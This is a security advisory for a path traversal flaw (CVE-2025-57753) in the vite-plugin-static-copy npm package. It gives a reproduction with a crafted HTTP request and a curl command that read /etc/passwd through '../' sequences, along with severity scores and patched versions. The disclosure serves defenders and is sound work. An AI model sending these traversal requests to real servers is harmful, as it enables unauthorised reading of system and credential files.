Files not included in src was possible to access with a crafted request.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Arbitrary files can be disclosed by exploiting this vulnerability.
Consider the following configuration in used by vite.config.ts:
import { defineConfig } from 'vite'
import { viteStaticCopy } from 'vite-plugin-static-copy'
export default defineConfig({
plugins: [
viteStaticCopy({
targets: [
{
src: "./public/images",
dest: "./",
},
],
}),
],
});
The files under the ./public/images is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.
I've attached a demo app to showcase the bug.
Run it with npm run dev and issue the following HTTP request
GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2
OR
curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: localhost:3001' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'http://localhost:3001/static/images/../../../../../../../etc/passwd'
Observe that the /etc/passwd file is included in the response.
<img width="1289" height="449" alt="Screenshot 2025-08-16 at 10 27 11 PM" src="https://github.com/user-attachments/assets/4de12612-7b86-44d7-a403-c76f12832e37" />
| Score | Percentile |
|---|---|
| 0.16% | 36.64% |
| Base score | Version | Severity | Vector |
|---|---|---|---|
| 6.0 | 4.0 | — |
|
| Type | Value |
|---|---|
| GHSA | GHSA-pp7p-q8fx-2968 ↗ |
| CVE | CVE-2025-57753 ↗ |
| CWE id | Name |
|---|---|
| CWE-22 | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
Vulnerable version ranges and first patched releases as published by GitHub.
| Ecosystem | Package | Vulnerable range | First patched | Vulnerable functions |
|---|---|---|---|---|
| npm | vite-plugin-static-copy | >= 3.0.0, <= 3.1.1 | 3.1.2 | — |
| npm | vite-plugin-static-copy | >= 0.4.3, <= 2.3.1 | 2.3.2 | — |